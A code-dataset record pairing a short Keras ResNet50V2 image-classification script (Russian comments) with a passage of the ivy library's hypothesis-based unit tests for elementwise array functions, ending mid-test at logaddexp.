[ "import random\nimport keras\nfrom keras.layers import Input\nfrom keras.models import Model\n\nfrom keras.applications.resnet50 import preprocess_input, decode_predictions\nimport os\nfrom PIL import Image\nimport numpy as np\n\nfrom tensorflow.compat.v1 import ConfigProto\nfrom tensorflow.compat.v1 import InteractiveSession\n\nconfig = ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.7\nconfig.gpu_options.allow_growth = True\nsession = InteractiveSession(config=config)\n\n\nheight = 224\nwidth = 224\n# копирование изображений в массив нумпай и изменение их размеров\n# попробуйте написать код, который сохраняет соотношение сторон\nnh=224\nnw=224\nncol=3\n\nvisible2 = Input(shape=(nh,nw,ncol),name = 'imginp')\nresnet = keras.applications.resnet_v2.ResNet50V2(include_top=True, weights='imagenet', input_tensor=visible2, input_shape=None, pooling=None, classes=1000)\n\n\n\ndef read_image_files(files_max_count,dir_name):\n files = [item.name for item in os.scandir(dir_name) if item.is_file()]\n files_count = files_max_count\n\n\n if(files_max_count>len(files)): # определяем количество файлов не больше max\n files_count = len(files)\n image_box = [[]]*files_count\n for file_i in range(files_count): # читаем изображения в список\n image_box[file_i] = Image.open(dir_name+'/'+files[file_i]) # / ??\n return files_count, image_box\n\n\n# x = preprocess_input(x)\ndef getresult(image_box):\n files_count = len(image_box)\n images_resized = [[]]*files_count\n for i in range(files_count):\n images_resized[i] = np.array(image_box[i].resize((height,width)))/255.0\n images_resized = np.array(images_resized)\n out_net = resnet.predict(images_resized)\n decode = decode_predictions(out_net, top=1)\n return decode\n" ]
[ [ "numpy.array", "tensorflow.compat.v1.ConfigProto", "tensorflow.compat.v1.InteractiveSession" ] ]
sherry30/ivy
[ "1907fa691030c1a77d25d468aa24be3e6f3fd9e9" ]
[ "ivy_tests/test_ivy/test_functional/test_core/test_elementwise.py" ]
[ "\"\"\"Collection of tests for elementwise functions.\"\"\"\n\n# global\nimport numpy as np\nfrom hypothesis import given, assume, strategies as st\nfrom numbers import Number\n\n# local\nimport ivy\nimport ivy_tests.test_ivy.helpers as helpers\nimport ivy.functional.backends.numpy as ivy_np\n\n\n# abs\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_abs(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype in [\"uint16\", \"uint32\", \"uint64\"]:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"abs\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# acosh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_acosh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"acosh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# acos\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_acos(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"acos\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# add\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_add(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if dtype[0] in ivy.invalid_dtype_strs or dtype[1] in ivy.invalid_dtype_strs:\n return\n if fw == \"numpy\" and dtype == \"float16\":\n return # numpy array api doesnt support float16\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"add\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# asin\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_asin(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"asin\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# asinh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_asinh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"asinh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# atan\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_atan(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"atan\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# atan2\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_atan2(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and \"float16\" in dtype:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"atan2\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# atanh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_atanh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"atanh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# bitwise_and\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs + (\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_bitwise_and(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_and\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# bitwise_left_shift\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_bitwise_left_shift(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n if fw == \"torch\":\n return # torch has strange behaviour when shifting more than number of bits\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_left_shift\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# bitwise_invert\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs + (\"bool\",)),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_bitwise_invert(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if dtype in [\"uint16\", \"uint32\", \"uint64\"]:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_invert\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# bitwise_or\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs + (\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_bitwise_or(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_or\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# bitwise_right_shift\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_bitwise_right_shift(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n if fw == \"torch\":\n return\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_right_shift\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# bitwise_xor\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy.int_dtype_strs + (\"bool\",), 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_bitwise_xor(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"bitwise_xor\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# ceil\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_ceil(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"ceil\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# cos\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_cos(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"cos\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# cosh\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_cosh(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"cosh\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# divide\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_divide(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(xi == 0 for xi in x[1]):\n return # don't divide by 0\n if any(\n xi > 9223372036854775807 or yi > 9223372036854775807\n for xi, yi in zip(x[0], x[1])\n ):\n return # np.divide converts to signed int so values can't be too large\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"divide\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[0], dtype=dtype[1]),\n )\n\n\n# equal\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_equal(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"equal\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# exp\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_exp(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"exp\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# expm1\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_expm1(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"expm1\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# floor\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_floor(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(dtype not in ivy.invalid_dtype_strs)\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"floor\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# floor_divide\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_floor_divide(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(xi == 0 for xi in x[1]))\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"floor_divide\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# greater\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_greater(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if any(d in ivy.invalid_dtype_strs for d in dtype):\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"greater\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# greater_equal\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_greater_equal(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"greater_equal\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# isfinite\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_isfinite(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if dtype in ivy.invalid_dtype_strs:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"isfinite\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# isinf\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_isinf(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if dtype in ivy.invalid_dtype_strs:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"isinf\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# isnan\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_isnan(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if dtype in ivy.invalid_dtype_strs:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"isnan\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# less\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_less(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"less\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# less_equal\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_numeric_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_less_equal(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n assume(not any(d in ivy.invalid_dtype_strs for d in dtype))\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"less_equal\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n )\n\n\n# log\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_log(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"log\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# log1p\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_log1p(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"log1p\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# log2\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_log2(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"log2\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# log10\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs),\n as_variable=st.booleans(),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 1),\n native_array=st.booleans(),\n container=st.booleans(),\n instance_method=st.booleans(),\n)\ndef test_log10(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and dtype == \"float16\":\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"log10\",\n x=np.asarray(x, dtype=dtype),\n )\n\n\n# logaddexp\n@given(\n dtype_and_x=helpers.dtype_and_values(ivy_np.valid_float_dtype_strs, 2),\n as_variable=helpers.list_of_length(st.booleans(), 2),\n with_out=st.booleans(),\n num_positional_args=st.integers(0, 2),\n native_array=helpers.list_of_length(st.booleans(), 2),\n container=helpers.list_of_length(st.booleans(), 2),\n instance_method=st.booleans(),\n)\ndef test_logaddexp(\n dtype_and_x,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n):\n dtype, x = dtype_and_x\n if fw == \"torch\" and \"float16\" in dtype:\n return\n helpers.test_array_function(\n dtype,\n as_variable,\n with_out,\n num_positional_args,\n native_array,\n container,\n instance_method,\n fw,\n \"logaddexp\",\n x1=np.asarray(x[0], dtype=dtype[0]),\n x2=np.asarray(x[1], dtype=dtype[1]),\n 